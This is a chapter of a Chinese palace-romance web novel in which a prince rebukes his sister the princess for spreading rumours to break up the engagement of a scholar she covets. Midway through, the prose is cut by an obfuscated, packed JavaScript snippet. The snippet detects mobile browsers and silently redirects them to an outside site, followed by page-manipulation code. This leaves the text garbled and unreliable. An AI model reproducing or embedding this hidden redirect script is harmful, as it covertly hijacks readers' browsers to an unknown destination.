苏以宁匆匆走进苏时语的院子后,刚好看到这么一幕。
苏时语和一位年轻男子在花架旁站着,苏时语一身月牙白裙衫,背对着门口,只能看到一个背影。而她对面站着的年轻男子清秀儒雅,举止斯文。
一道和煦的男声响起:“我姨母性子急躁,讲话没有分寸,你别放在心上。”
“你姨母将你自幼拉扯大,替你多考虑也是应该的。”
苏以宁看不清苏时语的表情,只能听到她闷闷的声音。
“如果姨母给你相看了更合适的人家,你便同意吧。”
心里顿时一沉。
难道该来的还是来了,沈家人铁了心要退婚?
苏以宁大概了解过沈家,沈文怀幼年丧母,姨母家将他养大成年,沈文怀自从高中状元后,沈家姨母也跟着扬眉吐气了一把,看起来比沈文怀本人还要骄傲三分,逐渐连苏家的亲事有些看不上,逢人就会提起这个状元外甥,称自家外甥一举夺魁,连公主都尚得,更别说一个苏家嫡女。
现在更是给了这位姨母发挥的由头,她来苏府准是来搞事的。
苏以宁脚步顿在了门口,沈文怀看起来比她还激动,明明一抬头就能瞧见她,愣是没发现门口站了个人。
“你我订婚已久,是我一直拖着你,你不嫌弃我已是极好的,我再因这种小事就薄待你,岂非枉读多年圣人书?”沈文怀生怕她不信似的,“我沈文怀可以在此立誓,今生今世非你不娶,如有违背......”
“好了。”苏时语及时打断话头,没有让后面的话说出口。
沈文怀紧张地望着她,直到确定苏时语不再生气才松了口气。他似乎想抱一抱苏时语,又顾着礼法顿在原地,看向苏时语的眼中喜悦是怎么也藏不住的。
远远看上去像是一对璧人。
苏以宁悄悄地走了,没有打扰院中的二人。
好在沈文怀还算坚定......沈家的问题一点都不比裴家少,裴府有个难搞的婆母,沈家又有个姨母,秦氏好歹还顾忌些面子问题,这位姨母苏以宁见过,是个上不得台面的,稍有不如意便不分场合的哭喊,一嗓门嚎出去整府都能听见她在骂人。
平心而论,她不太喜欢沈家,苏以宁私心认为她的阿姊值得最好的,沈家太乱,沈文怀说好听些是温文尔雅,可太过温和的人不免都有些优柔寡断,沈文怀能有足够的魄力在婆家护着苏时语吗?如果不是苏时语真心喜欢,她是认同景恪得到观点——这门亲事爱要不要的。
苏以宁每每想到此处就郁闷,要不怎么说是一家人呢,就连看起来极温和的苏时语性子都是倔的,只不过平日不表露出来。然而苏时语认定的人何事,她从来不会放弃,就像现在的沈文怀,即便是他没有高中状元,她也毫不怀疑苏时语依旧会嫁。
这门亲事她不喜欢,可嫁的人又不是她,过什么样的日子还是得苏时语自己决定。这也是她害怕景恪毁了这门亲事的原因......即使有万般不好,她不能替苏时语决定人生。
上次同景恪争吵的场景还历历在目,这些日子苏以宁也想明白了许多,景恪上位者的身份注定了他不会向一个女子低头,更不会允许自己的好心对方不领情。
很不幸,她偏偏就是不领情的那一个,她讨厌这种打着对她好的旗子,把东西强塞给她。也不喜欢来自上位者的控制。
针尖对麦芒,从上次不欢而散起,直到今日二人都没再见过面。
-
“三哥怎么想起来找我啦?”
乐平正百无聊赖的拨弄着指尖,白嫩的指尖染着蔻丹,艳丽又纤细。乐平见了景恪,从一旁的贵妃榻上爬起,赤足踩在波斯地毯上,笑嘻嘻的朝景恪走去,“三哥可是得了空,今日想陪乐平出去玩?”
“乐平。”
景恪站在原地,话中的制止意味让乐平停了脚步,她踩在柔软的地毯上,不满道:“面上这么凶,看来不是来找乐平玩闹的。”
“为什么要插手苏家的事?”
“三哥在说什么?”乐平无辜地眨眨眼。
“暗中放苏家嫡女克夫的谣言,又派人去沈家门口传消息,生怕沈家不知道及笄礼那日的事?”
景恪眸中发沉,他想起同苏以宁争吵的那些话,虽然不理解苏以宁为什么要在乎一桩根本不可能被苏时语发现的事,这几天还是出手控制了流言的走向,想把事压一压。
不出手还好,一出手他立刻发现了不对劲。
这其中已经有两股势力在搅动,一边已经极好的控制住了流言,另一方似乎是想煽风点火,却被压制住,他毫不费力就查出了煽风点火的人是乐平,连带查出乐平在没搅起什么风浪后,不死心的特意去沈府递了消息,添油加醋地告诉沈文怀的姨母一些事。
“别装。”景恪声音透着冷意:“况且你前些日子突然跑去苏府观礼,苏府同你有过交情吗?”
“三哥能去,我为什么不能去?”
“你是冲着我去,还是冲着苏家的热闹?亦或是......你冲着那位新晋状元沈文怀?”
乐平的笑僵在脸上,瓮声瓮气道:“我同三哥为的是差不多的事。”
“你之所以去参加什么及笄礼,是为了苏以宁吧?”乐平干脆不再遮掩,“她此前和裴家正在议亲,现在亲事黄了,不正合你意?你能搅黄裴家亲事,把苏以宁抢过来,我为何不能搅了苏时语的亲事,抢她的状元郎?”
“我是公主,是父皇的女儿,苏家要有自知之明就该主动退了这门亲事。”
乐平观望着景恪的脸色,小心翼翼道:“我是你妹妹,你不帮我还要帮苏时语不成?我还没问三哥为什么把我放出去的流言给堵死了,你的事成了,难道不允许我成吗?”
“你真是越长大脑子越不如小时候。”
景恪向来知道自己这个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15430029|169205||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
妹妹胆大包天,从小被柳贵妃娇养着长大,几乎是要什么有什么,这些年仗势欺人的事没少干,现在竟然直接上手段去抢别家的未婚夫婿。
与乐平的千娇百宠不同,景恪本是当朝柳贵妃所出,可在当年诞下景恪时,柳贵妃还尚未封妃,以她的品阶远远不够独自抚养皇子,便被圣上送去了皇后膝下。
在皇后未生下嫡子时待景恪极好,甚至为了照顾他把自己累病过,当时年仅十岁的景恪也是忙前忙后的为这位母亲煎药端饭,更是下了功夫学一手好厨艺,亲自做好变着法子送去中宫。
随着嫡子诞生,景恪的处境就微妙起来。
人心都是肉长的,皇后偏着己出的孩子,而柳贵妃那因着隔了一层皇后的关系,即使后面还给柳贵妃亲自抚养,对景恪也不亲近。等柳贵妃的第二个孩子出世后,他更显多余。只有乐平整日粘着他,很喜欢这个哥哥,连带着他小时候的日子才好过些。
所以多年来景恪虽然被乐平扰的烦不胜烦,不愿意跟她犯蠢,陪她去游玩作乐,小事上也不曾苛待,能满足的都会满足。
乐平亦不解景恪为什么生气,在她看来,景恪喜欢苏以宁,所以出手断了裴含的亲事,跟她喜欢沈文怀所以出手谋划有什么区别?
她知道景恪喜欢苏以宁的时候是欢喜的,觉得上天如此眷顾她,向来不喜情爱玩乐的三哥,遇上了和她同样的烦恼,她和三哥又是同一种人了,三哥比她聪明,比她厉害,同样的处境下一定会理解她,也一定能帮她抢来沈文怀。
景恪懒得与她分析其中利害,锐利的目光仿佛要将她穿透,命令道:“沈家的任何事与你无关,今日之事,下不为例。”
“三哥!”乐平咬着下唇,一双眼睛不解又幽怨。“我是真心喜欢沈文怀的。”
“沈文怀喜欢你吗?”
“我......”乐平不满,“论模样论身份我哪样比不过苏时语?更何况我是公主,管他喜不喜欢我,等他们婚事一散,我立刻就去求父皇赐婚,他喜不喜欢都得娶我!”
“乐平,你还真蠢得无可救药。”景恪面若寒霜,乐平心底里是有些怕这个哥哥的,景恪进一步,乐平就退一步,直到撞到贵妃榻的边缘,乐平才梗着脖子道:“苏以宁就喜欢你吗?你不还是仗着身份强行拆散她和——”
话没说完乐平的下巴就被掐住,她惊慌不定的看着景恪。
乐平是个名副其实的草包公主,又是个纸老虎,万千宠爱将她堆在高台上,可没有权利的支撑,乐平就像坐在空中楼阁,偏偏她本人又毫不在意,肆意妄为的去做些漏洞百出的事。
“乐平,我只说一次,不许再打沈文怀的主意。”景恪目不转睛道:“爪子再不老实,我不介意帮你剁了,若有下次别怪我不顾幼时情分。”
景恪眼中透着威胁,是乐平第一次见到这样的眼神,乐平终究是个小姑娘,被这么一吓眼泪也掉了出来。